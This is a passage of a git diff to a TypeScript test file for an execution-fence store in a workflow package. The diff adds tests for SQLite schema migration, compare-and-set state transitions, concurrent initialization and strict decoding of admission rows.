diff --git a/packages/flowsafe/src/do-runner/execution-fence.test.ts b/packages/flowsafe/src/do-runner/execution-fence.test.ts
index 9f4227e7..f3c18778 100644
--- a/packages/flowsafe/src/do-runner/execution-fence.test.ts
+++ b/packages/flowsafe/src/do-runner/execution-fence.test.ts
@@ -13,26 +13,48 @@ import {
 // re-export them (see its header), so a test that pinned them off the runtime
 // module would be pinning a second copy.
 import {
+  EXECUTION_FENCE_DDL,
   EXECUTION_FENCE_STATES,
   EXECUTION_FENCE_TABLE,
 } from '../deployment-identity-protocol.js';
+import { seedDeploymentIdentity } from './deployment-identity.js';
 import { doErrorResponse } from './do-error-response.js';
 import {
   admitsDrainableExecution,
   admitsExistingRun,
   admitsRunStart,
   admitsWorkAuthoring,
+  decodeExecutionFenceAdmissionRow,
   type ExecutionFenceDatabase,
   ExecutionFencedError,
   type ExecutionFenceReading,
   type ExecutionFenceState,
+  type ExecutionFenceStatement,
   ExecutionFenceStore,
   ExecutionFenceUnreadableError,
+  executionFenceReadingPayload,
   FenceTransitionConflictError,
   InvalidExecutionFenceRequestError,
+  validateExecutionFenceAdmissionSchema,
 } from './execution-fence.js';
+import { StartReservationUnreadableError as BarrelStartReservationUnreadableError } from './index.js';
 import { init } from './init.js';
 import type { RunnerRuntime } from './runtime.js';
+import {
+  decodeStartReservationAdmissionResult as reExportedDecode,
+  validateStartReservationAdmissionSchema as reExportedValidate,
+  StartIdempotencyStore,
+  StartReservationUnreadableError,
+} from './start-idempotency.js';
+import {
+  decodeStartReservationAdmissionResult,
+  validateStartReservationAdmissionSchema,
+} from './start-reservation-contract.js';
+
+const fenceDatabases = new WeakMap<
+  ExecutionFenceStore,
+  ExecutionFenceDatabase
+>();
 
 function fenceFixture(): {
   sqlite: SqliteDatabase;
@@ -40,8 +62,17 @@ function fenceFixture(): {
   fence: ExecutionFenceStore;
 } {
   const sqlite = openSqlite();
-  const db = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase;
-  return { sqlite, db, fence: new ExecutionFenceStore(db) };
+  const backing = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase;
+  const db = backing;
+  const fence = new ExecutionFenceStore(db);
+  fenceDatabases.set(fence, db);
+  return { sqlite, db, fence };
+}
+
+function databaseForFence(fence: ExecutionFenceStore): ExecutionFenceDatabase {
+  const db = fenceDatabases.get(fence);
+  if (!db) throw new Error('fixture fence database missing');
+  return db;
 }
 
 /** The schema as SQLite records it — the evidence a read wrote no DDL. */
@@ -58,6 +89,205 @@ function reading(
   return { state, ...extra };
 }
 
+const optionalMetadata = {
+  mutationEpoch: 0,
+  requireMutationEpoch: false,
+  transitionRevision: 0,
+};
+const proofColumns = [
+  'proof_table_prefix',
+  'proof_workflow_id',
+  'proof_start_token',
+];
+const emptyProofIdentity = {
+  proof_table_prefix: null,
+  proof_workflow_id: null,
+  proof_start_token: null,
+};
+const legacyFenceDdl = `CREATE TABLE flowsafe_execution_fence (
+  id TEXT PRIMARY KEY CHECK (id = 'deployment'),
+  state TEXT NOT NULL CHECK (state IN ('open', 'draining', 'migration-locked', 'proof-only')),
+  proof_key TEXT, proof_run_id TEXT, updated_at INTEGER NOT NULL
+)`;
+
+describe('strict initial-admission fence observations', () => {
+  it.each([
+    'row',
+    'schema',
+  ])('rejects inherited slots in the fence %s observation', async (mode) => {
+    const { sqlite, db } = fenceFixture();
+    await new ExecutionFenceStore(db).seed('open');
+    const sparse = (rows: unknown[]) =>
+      Object.setPrototypeOf(
+        new Array(rows.length),
+        Object.assign(Object.create(Array.prototype), rows),
+      );
+    if (mode === 'schema') {
+      const columns = sqlite
+        .prepare('PRAGMA table_xinfo(flowsafe_execution_fence)')
+        .all();
+      await expect(
+        validateExecutionFenceAdmissionSchema({ results: sparse(columns) }),
+      ).rejects.toThrow('invalid row');
+    } else {
+      const wrapped = interceptedDatabase(db, async (sql, execute) => {
+        const result = (await execute()) as { results: unknown[] };
+        return sql.startsWith('SELECT * FROM flowsafe_execution_fence')
+          ? { results: sparse(result.results) }
+          : result;
+      });
+      await expect(
+        new ExecutionFenceStore(wrapped).readForAdmission(),
+      ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError);
+    }
+  });
+  it('does not let a custom iterator hide a malformed admission row', async () => {
+    const { db } = fenceFixture();
+    await new ExecutionFenceStore(db).seed('open');
+    const wrapped = interceptedDatabase(db, async (sql, execute) => {
+      const result = (await execute()) as { results: unknown[] };
+      if (!sql.startsWith('SELECT * FROM flowsafe_execution_fence'))
+        return result;
+      const rows = [null];
+      Object.defineProperty(rows, Symbol.iterator, {
+        value: function* () {
+          yield* result.results;
+        },
+      });
+      return { results: rows };
+    });
+    await expect(
+      new ExecutionFenceStore(wrapped).readForAdmission(),
+    ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError);
+  });
+  it('rejects the first malformed schema envelope even if its getter later returns real columns', async () => {
+    const { sqlite, db } = fenceFixture();
+    await new ExecutionFenceStore(db).seed('open');
+    const columns = sqlite
+      .prepare('PRAGMA table_xinfo(flowsafe_execution_fence)')
+      .all();
+    let reads = 0;
+    await expect(
+      validateExecutionFenceAdmissionSchema({
+        get results() {
+          return ++reads === 1 ? [null] : columns;
+        },
+      }),
+    ).rejects.toThrow('invalid row');
+    expect(reads).toBe(1);
+  });
+  it.each([
+    'envelope',
+    'element',
+  ])('captures one %s observation before admission decoding', async (mode) => {
+    const { db } = fenceFixture();
+    await new ExecutionFenceStore(db).seed('open');
+    let reads = 0;
+    const wrapped = interceptedDatabase(db, async (sql, execute) => {
+      const result = (await execute()) as { results: unknown[] };
+      if (!sql.startsWith('SELECT * FROM flowsafe_execution_fence'))
+        return result;
+      if (mode === 'envelope')
+        return {
+          get results() {
+            return ++reads === 1 ? result.results : new Array(1);
+          },
+        };
+      const rows: unknown[] = [];
+      Object.defineProperty(rows, 0, {
+        get() {
+          return ++reads === 1 ? result.results[0] : undefined;
+        },
+      });
+      return { results: rows };
+    });
+    expect(
+      (await new ExecutionFenceStore(wrapped).readForAdmission()).reading.state,
+    ).toBe('open');
+    expect(reads).toBe(1);
+  });
+  it('requires real current metadata and never initializes on read', async () => {
+    const { sqlite, db } = fenceFixture();
+    const fence = new ExecutionFenceStore(db);
+    expect(fence.usesDatabase(db)).toBe(true);
+    expect(fence.usesDatabase({ ...db })).toBe(false);
+    await expect(fence.readForAdmission()).rejects.toBeInstanceOf(
+      ExecutionFenceUnreadableError,
+    );
+    expect(
+      sqlite
+        .prepare("SELECT name FROM sqlite_master WHERE type = 'table'")
+        .all(),
+    ).toEqual([]);
+    sqlite.exec(legacyFenceDdl);
+    sqlite.exec(
+      "INSERT INTO flowsafe_execution_fence VALUES ('deployment', 'open', NULL, NULL, 100)",
+    );
+    await expect(fence.readForAdmission()).rejects.toBeInstanceOf(
+      ExecutionFenceUnreadableError,
+    );
+    expect(
+      sqlite.prepare('PRAGMA table_xinfo(flowsafe_execution_fence)').all(),
+    ).toHaveLength(5);
+    await fence.seed('open');
+    const observation = await fence.readForAdmission();
+    expect(observation.schemaStage).toBe(7);
+    expect(Object.isFrozen(observation.raw)).toBe(true);
+    const mutable = { ...observation.raw };
+    const copied = decodeExecutionFenceAdmissionRow(mutable);
+    mutable.state = 'draining';
+    expect(copied.raw.state).toBe('open');
+    const schema = sqlite
+      .prepare('PRAGMA table_xinfo(flowsafe_execution_fence)')
+      .all();
+    await expect(
+      validateExecutionFenceAdmissionSchema({ results: schema }),
+    ).resolves.toBeUndefined();
+    await expect(
+      validateExecutionFenceAdmissionSchema({ results: schema.slice(0, -1) }),
+    ).rejects.toThrow('current fence schema');
+    sqlite.exec('DELETE FROM flowsafe_execution_fence');
+    await expect(fence.readForAdmission()).rejects.toBeInstanceOf(
+      ExecutionFenceUnreadableError,
+    );
+    expect(
+      sqlite.prepare('SELECT * FROM flowsafe_execution_fence').all(),
+    ).toEqual([]);
+  });
+});
+
+function rawFence(sqlite: SqliteDatabase): Record<string, unknown> {
+  return sqlite
+    .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`)
+    .get() as Record<string, unknown>;
+}
+
+function interceptedDatabase(
+  db: ExecutionFenceDatabase,
+  intercept: (sql: string, execute: () => Promise<unknown>) => Promise<unknown>,
+): ExecutionFenceDatabase {
+  function statement(sql: string, values: unknown[]): ExecutionFenceStatement {
+    return {
+      bind: (...bound) => statement(sql, bound),
+      run: () =>
+        intercept(sql, () =>
+          db
+            .prepare(sql)
+            .bind(...values)
+            .run(),
+        ),
+      all: async <T>() =>
+        (await intercept(sql, () =>
+          db
+            .prepare(sql)
+            .bind(...values)
+            .all(),
+        )) as { results: T[] },
+    };
+  }
+  return { prepare: (sql) => statement(sql, []) };
+}
+
 describe('ExecutionFenceStore', () => {
   it('reads a database with no fence table as open, and writes no DDL doing it', async () => {
     // #given — a 0.19-era database: the fence table does not exist.
@@ -71,19 +301,21 @@ describe('ExecutionFenceStore', () => {
     // `CREATE TABLE IF NOT EXISTS` is a write path wearing a read's name; it
     // would make a fenced deployment mutate its own database to answer a
     // question, and would turn a revoked-write incident into an outage.
-    expect(observed).toEqual({ state: 'open' });
+    expect(observed).toEqual({ state: 'open', ...optionalMetadata });
     expect(schemaSnapshot(sqlite)).toEqual(before);
     expect(before).toEqual([]);
   });
 
   it('reads a seeded-but-rowless table as open', async () => {
     // #given — the table exists (a crash between DDL and the row).
-    const { db, fence } = fenceFixture();
-    await fence.seed('open');
-    await db.prepare(`DELETE FROM ${EXECUTION_FENCE_TABLE}`).run();
+    const { sqlite, fence } = fenceFixture();
+    sqlite.exec(legacyFenceDdl);
 
     // #then
-    await expect(fence.read()).resolves.toEqual({ state: 'open' });
+    await expect(fence.read()).resolves.toEqual({
+      state: 'open',
+      ...optionalMetadata,
+    });
   });
 
   it('seed() requires an explicit state and never overwrites an existing row', async () => {
@@ -96,7 +328,10 @@ describe('ExecutionFenceStore', () => {
 
     // #then — the operator's state survives. An upsert here would silently
     // reopen a fence a migration closed.
-    await expect(fence.read()).resolves.toEqual({ state: 'migration-locked' });
+    await expect(fence.read()).resolves.toEqual({
+      state: 'migration-locked',
+      ...optionalMetadata,
+    });
 
     // #and — the state is a required argument with no default, so a migration
     // host cannot forget it and silently get 'open'.
@@ -114,8 +349,12 @@ describe('ExecutionFenceStore', () => {
     const next = await fence.transition({ expected: 'open', next: 'draining' });
 
     // #then
-    expect(next).toEqual({ state: 'draining' });
-    await expect(fence.read()).resolves.toEqual({ state: 'draining' });
+    expect(next).toEqual({
+      state: 'draining',
+      ...optionalMetadata,
+      transitionRevision: 1,
+    });
+    await expect(fence.read()).resolves.toEqual(next);
   });
 
   it('materializes the implicit-open row of a database that has no fence table', async () => {
@@ -126,7 +365,11 @@ describe('ExecutionFenceStore', () => {
     await fence.transition({ expected: 'open', next: 'draining' });
 
     // #then
-    await expect(fence.read()).resolves.toEqual({ state: 'draining' });
+    await expect(fence.read()).resolves.toEqual({
+      state: 'draining',
+      ...optionalMetadata,
+      transitionRevision: 1,
+    });
   });
 
   it('refuses a CAS whose expected state is stale, and reports the CURRENT one', async () => {
@@ -145,8 +388,15 @@ describe('ExecutionFenceStore', () => {
     expect((refusal as FenceTransitionConflictError).reason).toEqual({
       code: 'FENCE_CAS_CONFLICT',
       state: 'draining',
+      ...optionalMetadata,
+      transitionRevision: 1,
+      conflict: 'expectation-mismatch',
+    });
+    await expect(fence.read()).resolves.toEqual({
+      state: 'draining',
+      ...optionalMetadata,
+      transitionRevision: 1,
     });
-    await expect(fence.read()).resolves.toEqual({ state: 'draining' });
   });
 
   it("requires a proofKey to enter 'proof-only', and rejects one anywhere else", async () => {
@@ -167,7 +417,10 @@ describe('ExecutionFenceStore', () => {
         proofKey: 'proof-1',
       }),
     ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError);
-    await expect(fence.read()).resolves.toEqual({ state: 'migration-locked' });
+    await expect(fence.read()).resolves.toEqual({
+      state: 'migration-locked',
+      ...optionalMetadata,
+    });
   });
 
   it('clears the proof run on entry to and exit from proof-only', async () => {
@@ -184,6 +437,8 @@ describe('ExecutionFenceStore', () => {
       state: 'proof-only',
       proofKey: 'proof-1',
       proofRunId: 'run-1',
+      ...optionalMetadata,
+      transitionRevision: 1,
     });
 
     // #when — a SECOND proof attempt under a new key.
@@ -197,11 +452,17 @@ describe('ExecutionFenceStore', () => {
     await expect(fence.read()).resolves.toEqual({
       state: 'proof-only',
       proofKey: 'proof-2',
+      ...optionalMetadata,
+      transitionRevision: 2,
     });
 
     // #and — leaving proof-only clears both fields.
     await fence.transition({ expected: 'proof-only', next: 'open' });
-    await expect(fence.read()).resolves.toEqual({ state: 'open' });
+    await expect(fence.read()).resolves.toEqual({
+      state: 'open',
+      ...optionalMetadata,
+      transitionRevision: 3,
+    });
   });
 
   describe('recordProofRun', () => {
@@ -328,7 +589,10 @@ describe('ExecutionFenceStore', () => {
 
     // #then — open, and `recordProofRun` reaches the same conclusion: a
     // database with no fence table cannot be in proof-only.
-    await expect(fence.read()).resolves.toEqual({ state: 'open' });
+    await expect(fence.read()).resolves.toEqual({
+      state: 'open',
+      ...optionalMetadata,
+    });
     await expect(fence.recordProofRun('proof-1', 'acme_r1')).resolves.toBe(
       false,
     );
@@ -440,6 +704,1407 @@ describe('ExecutionFenceStore', () => {
   });
 });
 
+describe('versioned execution fence persistence', () => {
+  const activation = {
+    expected: 'open',
+    next: 'draining',
+    expectedMutationEpoch: 0,
+    expectedRevision: 0,
+    advanceMutationEpoch: true,
+  } as const;
+  const activeReading = {
+    state: 'draining',
+    mutationEpoch: 1,
+    requireMutationEpoch: true,
+    transitionRevision: 1,
+  } as const;
+
+  it('keeps legacy readings optional and state-only predicate inputs compatible', async () => {
+    for (const state of EXECUTION_FENCE_STATES) {
+      const { sqlite, fence } = fenceFixture();
+      sqlite.exec(legacyFenceDdl);
+      await expect(fence.read()).resolves.toEqual({
+        state: 'open',
+        ...optionalMetadata,
+      });
+      sqlite
+        .prepare(`INSERT INTO ${EXECUTION_FENCE_TABLE} VALUES (?, ?, ?, ?, ?)`)
+        .run('deployment', state, 'old key', 'old run', 19);
+      const expected = {
+        state,
+        ...optionalMetadata,
+        proofKey: 'old key',
+        proofRunId: 'old run',
+      };
+      await expect(fence.read()).resolves.toEqual(expected);
+      expect(executionFenceReadingPayload(expected)).toEqual(expected);
+      expect(executionFenceReadingPayload({ state })).toEqual({ state });
+      expect(admitsRunStart({ state })).toBe(state === 'open');
+      expect(admitsWorkAuthoring({ state })).toBe(state === 'open');
+      expect(admitsExistingRun({ state })).toBe(
+        state === 'open' || state === 'draining',
+      );
+      expect(admitsDrainableExecution({ state })).toBe(
+        state === 'open' || state === 'draining',
+      );
+      expect(
+        sqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(),
+      ).toHaveLength(5);
+    }
+    const { fence } = fenceFixture();
+    await expect(fence.read()).resolves.toEqual({
+      state: 'open',
+      ...optionalMetadata,
+    });
+    const conflict = new FenceTransitionConflictError('open', 'draining');
+    expect(conflict.message).toBe(
+      "execution fence transition expected state 'open' but found 'draining'",
+    );
+    expect(conflict.reason).toEqual({
+      code: 'FENCE_CAS_CONFLICT',
+      state: 'draining',
+    });
+  });
+
+  it('refuses a missing row once any FS8 column exists', async () => {
+    for (let stage = 1; stage <= 7; stage += 1) {
+      const { sqlite, db } = fenceFixture();
+      sqlite.exec(EXECUTION_FENCE_DDL);
+      const additions = [
+        'last_transition_request',
+        'transition_revision',
+        'mutation_epoch',
+        'require_mutation_epoch',
+        ...proofColumns,
+      ];
+      for (const column of additions.slice(stage).reverse())
+        sqlite.exec(
+          `ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${column}`,
+        );
+      const statements: string[] = [];
+      const fence = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          statements.push(sql);
+          return execute();
+        }),
+      );
+      for (const action of [
+        () => fence.read(),
+        () => fence.seed('open'),
+        () => fence.transition(activation),
+      ]) {
+        await expect(action()).rejects.toBeInstanceOf(
+          ExecutionFenceUnreadableError,
+        );
+      }
+      expect(
+        sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(),
+      ).toEqual([]);
+      expect(
+        statements.filter((sql) => /^(INSERT|UPDATE|ALTER|CREATE)/.test(sql)),
+      ).toEqual([]);
+    }
+    for (const operation of ['read', 'seed'] as const) {
+      const { sqlite, db } = fenceFixture();
+      sqlite.exec(EXECUTION_FENCE_DDL);
+      let reads = 0;
+      const writes: string[] = [];
+      const regressed = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          if (/^(INSERT|UPDATE|ALTER|CREATE)/.test(sql)) writes.push(sql);
+          if (sql.startsWith('SELECT *') && ++reads === 2) {
+            sqlite.exec(`DROP TABLE ${EXECUTION_FENCE_TABLE}`);
+            sqlite.exec(legacyFenceDdl);
+            sqlite.exec(
+              `INSERT INTO ${EXECUTION_FENCE_TABLE} VALUES ('deployment', 'open', NULL, NULL, 0)`,
+            );
+          }
+          return execute();
+        }),
+      );
+      await expect(
+        operation === 'read' ? regressed.read() : regressed.seed('open'),
+      ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError);
+      expect(reads).toBe(2);
+      expect(writes).toEqual([]);
+    }
+  });
+
+  it('resumes every supported fence schema prefix without reopening the row', async () => {
+    for (const state of EXECUTION_FENCE_STATES) {
+      for (let stopAfter = 0; stopAfter <= 7; stopAfter += 1) {
+        const { sqlite, db } = fenceFixture();
+        let additions = 0;
+        let stopped = false;
+        const crashing = new ExecutionFenceStore(
+          interceptedDatabase(db, async (sql, execute) => {
+            if (stopped) throw new Error('process interrupted');
+            const result = await execute();
+            if (sql.startsWith('ALTER TABLE')) additions += 1;
+            if (
+              (sql.startsWith('INSERT OR IGNORE') ||
+                sql.startsWith('ALTER TABLE')) &&
+              additions === stopAfter
+            )
+              stopped = true;
+            return result;
+          }),
+          { now: () => 12 },
+        );
+        await expect(crashing.seed(state)).rejects.toBeInstanceOf(
+          ExecutionFenceUnreadableError,
+        );
+        expect(
+          sqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(),
+        ).toHaveLength(5 + stopAfter);
+        const before = rawFence(sqlite);
+        const fence = new ExecutionFenceStore(db, { now: () => 99 });
+        await fence.seed('open');
+        await expect(fence.read()).resolves.toEqual({
+          state,
+          ...optionalMetadata,
+        });
+        expect(rawFence(sqlite)).toEqual({
+          ...before,
+          last_transition_request: null,
+          transition_revision: 0,
+          mutation_epoch: 0,
+          require_mutation_epoch: 0,
+          ...emptyProofIdentity,
+        });
+        expect(rawFence(sqlite).updated_at).toBe(12);
+      }
+    }
+  });
+
+  it('converges concurrent fence schema initialization without batch', async () => {
+    const { sqlite, db } = fenceFixture();
+    const second = new ExecutionFenceStore(db, { now: () => 21 });
+    let interleaved = false;
+    const first = new ExecutionFenceStore(
+      interceptedDatabase(db, async (sql, execute) => {
+        const result = await execute();
+        if (!interleaved && sql.startsWith('SELECT *')) {
+          interleaved = true;
+          await second.seed('migration-locked');
+        }
+        return result;
+      }),
+      { now: () => 13 },
+    );
+    await first.seed('open');
+    await expect(first.read()).resolves.toEqual({
+      state: 'migration-locked',
+      ...optionalMetadata,
+    });
+    expect(rawFence(sqlite).updated_at).toBe(21);
+    expect(
+      sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(),
+    ).toHaveLength(1);
+
+    const parallel = fenceFixture();
+    const outcomes = await Promise.allSettled([
+      parallel.fence.seed('draining'),
+      new ExecutionFenceStore(parallel.db).seed('proof-only'),
+    ]);
+    expect(outcomes.map((outcome) => outcome.status)).toEqual([
+      'fulfilled',
+      'fulfilled',
+    ]);
+    expect((await parallel.fence.read()).transitionRevision).toBe(0);
+    expect(
+      parallel.sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(),
+    ).toHaveLength(1);
+
+    const alterRace = fenceFixture();
+    let paused = false;
+    let duplicateAlter = false;
+    const racingInitializer = new ExecutionFenceStore(
+      interceptedDatabase(alterRace.db, async (sql, execute) => {
+        if (!paused && sql.startsWith('ALTER TABLE')) {
+          paused = true;
+          await alterRace.fence.seed('open');
+          try {
+            return await execute();
+          } catch (error) {
+            duplicateAlter = true;
+            throw error;
+          }
+        }
+        return execute();
+      }),
+    );
+    await racingInitializer.seed('migration-locked');
+    expect(duplicateAlter).toBe(true);
+    await expect(racingInitializer.read()).resolves.toEqual({
+      state: 'migration-locked',
+      ...optionalMetadata,
+    });
+  });
+
+  it('preserves active P1 metadata through every new proof-column prefix', async () => {
+    for (const stage of [4, 5, 6]) {
+      const { fence, sqlite, db } = fenceFixture();
+      const admitted = await fence.transition({
+        ...activation,
+        next: 'proof-only',
+        proofKey: 'key',
+      });
+      await fence.recordProofRun('key', 'run', admitted);
+      for (const column of proofColumns.slice(stage - 4).reverse())
+        sqlite.exec(
+          `ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${column}`,
+        );
+      const before = rawFence(sqlite);
+      await expect(fence.read()).resolves.toEqual({
+        ...admitted,
+        proofRunId: 'run',
+      });
+      await fence.seed('open');
+      expect(rawFence(sqlite)).toEqual({ ...before, ...emptyProofIdentity });
+      const writes: string[] = [];
+      await new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          if (/^(CREATE|INSERT|UPDATE|ALTER)/.test(sql)) writes.push(sql);
+          return execute();
+        }),
+      ).seed('open');
+      expect(writes).toEqual([]);
+    }
+    const { fence, sqlite, db } = fenceFixture();
+    await fence.transition(activation);
+    for (const column of [...proofColumns].reverse())
+      sqlite.exec(`ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${column}`);
+    let advanced = false;
+    const reader = new ExecutionFenceStore(
+      interceptedDatabase(db, async (sql, execute) => {
+        const result = await execute();
+        if (!advanced && sql.startsWith('SELECT *')) {
+          advanced = true;
+          await fence.seed('open');
+        }
+        return result;
+      }),
+    );
+    await expect(reader.read()).resolves.toEqual(activeReading);
+  });
+
+  it('distinguishes partial mutation defaults from partial proof defaults', async () => {
+    for (const stage of [1, 2, 3, 5, 6]) {
+      const { fence, sqlite, db } = fenceFixture();
+      if (stage >= 4) await fence.transition(activation);
+      else await fence.seed('open');
+      const names = [
+        'last_transition_request',
+        'transition_revision',
+        'mutation_epoch',
+        'require_mutation_epoch',
+        ...proofColumns,
+      ];
+      for (const column of names.slice(stage).reverse())
+        sqlite.exec(
+          `ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${column}`,
+        );
+      const column = stage < 4 ? names[stage - 1] : proofColumns[stage - 5];
+      sqlite
+        .prepare(`UPDATE ${EXECUTION_FENCE_TABLE} SET ${column} = ?`)
+        .run(stage === 1 ? 'receipt' : stage < 4 ? 1 : 'not-null');
+      const before = rawFence(sqlite);
+      const writes: string[] = [];
+      const subject = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          if (/^(CREATE|INSERT|UPDATE|ALTER)/.test(sql)) writes.push(sql);
+          return execute();
+        }),
+      );
+      for (const action of [() => subject.read(), () => subject.seed('open')]) {
+        await expect(action()).rejects.toMatchObject({
+          cause: {
+            message: `${EXECUTION_FENCE_TABLE} has an invalid execution-fence schema (${stage < 4 ? 'partial metadata is not optional defaults' : 'partial proof identity is not null'})`,
+          },
+        });
+      }
+      expect(writes).toEqual([]);
+      expect(rawFence(sqlite)).toEqual(before);
+    }
+  });
+
+  it('decodes complete D1 proof identity but omits it from admin payloads', async () => {
+    const { fence, sqlite, db } = fenceFixture();
+    const admitted = await fence.transition({
+      ...activation,
+      next: 'proof-only',
+      proofKey: 'key',
+    });
+    await fence.recordProofRun('key', 'run', admitted);
+    sqlite.exec(
+      `UPDATE ${EXECUTION_FENCE_TABLE} SET proof_table_prefix = '', proof_workflow_id = 'workflow', proof_start_token = 'generation'`,
+    );
+    const proofExecution = {
+      tablePrefix: '',
+      workflowId: 'workflow',
+      runId: 'run',
+      startToken: 'generation',
+    };
+    await expect(fence.read()).resolves.toEqual({
+      ...admitted,
+      proofRunId: 'run',
+      proofExecution,
+    });
+    expect(executionFenceReadingPayload(await fence.read())).toEqual({
+      ...admitted,
+      proofRunId: 'run',
+    });
+    const valid = rawFence(sqlite);
+    for (const corruption of [
+      { proof_table_prefix: null },
+      { proof_workflow_id: null },
+      { proof_start_token: null },
+      { proof_table_prefix: 'Mixed_' },
+      { proof_table_prefix: 'bad-prefix' },
+      { proof_workflow_id: 'bad/workflow' },
+      { proof_start_token: 'bad token' },
+      { proof_run_id: null },
+      { proof_run_id: 'bad/run' },
+      { state: 'open' },
+      { proof_key: '' },
+    ]) {
+      const entries = Object.entries(corruption);
+      sqlite
+        .prepare(
+          `UPDATE ${EXECUTION_FENCE_TABLE} SET ${entries.map(([key]) => `${key} = ?`).join(', ')}`,
+        )
+        .run(...entries.map(([, value]) => value));
+      const before = rawFence(sqlite);
+      await expect(fence.read()).rejects.toBeInstanceOf(
+        ExecutionFenceUnreadableError,
+      );
+      await expect(fence.seed('open')).rejects.toBeInstanceOf(
+        ExecutionFenceUnreadableError,
+      );
+      expect(rawFence(sqlite)).toEqual(before);
+      sqlite
+        .prepare(
+          `UPDATE ${EXECUTION_FENCE_TABLE} SET ${Object.keys(valid)
+            .map((key) => `${key} = ?`)
+            .join(', ')}`,
+        )
+        .run(...Object.values(valid));
+    }
+    sqlite.exec(
+      `UPDATE ${EXECUTION_FENCE_TABLE} SET proof_table_prefix = 'Mixed_'`,
+    );
+    const before = rawFence(sqlite);
+    await seedDeploymentIdentity(db, 'acme', 'open');
+    expect(rawFence(sqlite)).toEqual(before);
+    await expect(fence.read()).rejects.toBeInstanceOf(
+      ExecutionFenceUnreadableError,
+    );
+  });
+
+  it('clears proof identity on a new admin command and preserves it on exact retry', async () => {
+    for (const upgraded of [false, true]) {
+      const { fence, sqlite } = fenceFixture();
+      const command = {
+        expected: 'open',
+        next: 'proof-only',
+        proofKey: 'key',
+        expectedMutationEpoch: 0,
+        expectedRevision: 0,
+      } as const;
+      const admitted = await fence.transition(command);
+      await fence.recordProofRun('key', 'run', admitted);
+      sqlite.exec(
+        `UPDATE ${EXECUTION_FENCE_TABLE} SET proof_table_prefix = 'tenant_', proof_workflow_id = 'workflow', proof_start_token = 'generation'`,
+      );
+      const before = rawFence(sqlite);
+      await expect(fence.transition(command)).resolves.toEqual(
+        await fence.read(),
+      );
+      expect(rawFence(sqlite)).toEqual(before);
+      await fence.transition({
+        expected: 'proof-only',
+        next: 'proof-only',
+        proofKey: 'key',
+        ...(upgraded ? { expectedMutationEpoch: 0, expectedRevision: 1 } : {}),
+      });
+      expect(rawFence(sqlite)).toMatchObject({
+        proof_run_id: null,
+        ...emptyProofIdentity,
+        transition_revision: 2,
+      });
+      expect((await fence.read()).proofExecution).toBeUndefined();
+    }
+  });
+
+  it('does not swallow an ALTER failure unless compatible metadata proves completion', async () => {
+    for (const outcome of ['before', 'after', 'incompatible'] as const) {
+      const { db, sqlite } = fenceFixture();
+      const failure = new Error('lost ALTER response');
+      let injected = false;
+      const fence = new ExecutionFenceStore(
+        interceptedDatabase(db, async (sql, execute) => {
+          if (injected || !sql.startsWith('ALTER TABLE')) return execute();
+          injected = true;
+          if (outcome === 'after') await execute();
+          if (outcome === 'incompatible')
+            sqlite.exec(
+              `ALTER TABLE ${EXECUTION_FENCE_TABLE} ADD COLUMN last_transition_request INTEGER`,
+            );
+          throw failure;
+        }),
+      );
+      if (outcome === 'after') {
+        await fence.seed('draining');
+        await expect(fence.read()).resolves.toEqual({
+          state: 'draining',
+          ...optionalMetadata,
+        });
+      } else {
+        const error = await fence
+          .seed('draining')
+          .catch((error: unknown) => error);
+        expect(error).toBeInstanceOf(ExecutionFenceUnreadableError);
+        if (outcome === 'before') expect((error as Error).cause).toBe(failure);
+        else
+          expect(String((error as Error).cause)).toContain(
+            'column last_transition_request differs',
+          );
+      }
+    }
+  });
+
+  it('activates the mutation epoch and requirement in one compare-and-set', async () => {
+    const { fence, db, sqlite } = fenceFixture();
+    await fence.seed('open');
+    const outcomes = await Promise.allSettled([
+      fence.transition(activation),
+      new ExecutionFenceStore(db).transition({
+        ...activation,
+        next: 'migration-locked',
+      }),
+    ]);
+    expect(
+      outcomes.filter((outcome) => outcome.status === 'fulfilled'),
+    ).toHaveLength(1);
+    expect(
+      outcomes.filter((outcome) => outcome.status === 'rejected'),
+    ).toHaveLength(1);
+    const stored = rawFence(sqlite);
+    expect(stored.mutation_epoch).toBe(1);
+    expect(stored.require_mutation_epoch).toBe(1);
+    expect(stored.transition_revision).toBe(1);
+    expect((await fence.read()).mutationEpoch).toBe(1);
+  });
+
+  it('converges an identical activation after a lost UPDATE response', async () => {
+    const { db, sqlite } = fenceFixture();
+    let now = 30;
+    const fence = new ExecutionFenceStore(
+      interceptedDatabase(db, async (sql, execute) => {
+        const result = await execute();
+        if (sql.startsWith('UPDATE')) throw new Error('response lost');
+        return result;
+      }),
+      { now: () => now },
+    );
+    await expect(fence.transition(activation)).resolves.toEqual(activeReading);
+    const before = rawFence(sqlite);
+    now = 40;
+    await expect(fence.transition(activation)).resolves.toEqual(activeReading);
+    expect(rawFence(sqlite)).toEqual(before);
+    expect(before.last_transition_request).toBe(
+      '[1,"open","draining",null,0,0,true]',
+    );
+  });
+
+  it('distinguishes a conflicting request from an identical resulting state', async () => {
+    const { fence, sqlite } = fenceFixture();
+    await fence.transition(activation);
+    const before = rawFence(sqlite);
+    for (const difference of [
+      { next: 'open' as const },
+      { advanceMutationEpoch: false },
+      { expectedMutationEpoch: 1 },
+      { expectedRevision: 1 },
+      { expected: 'draining' as const },
+      { next: 'proof-only' as const, proofKey: 'another-key' },
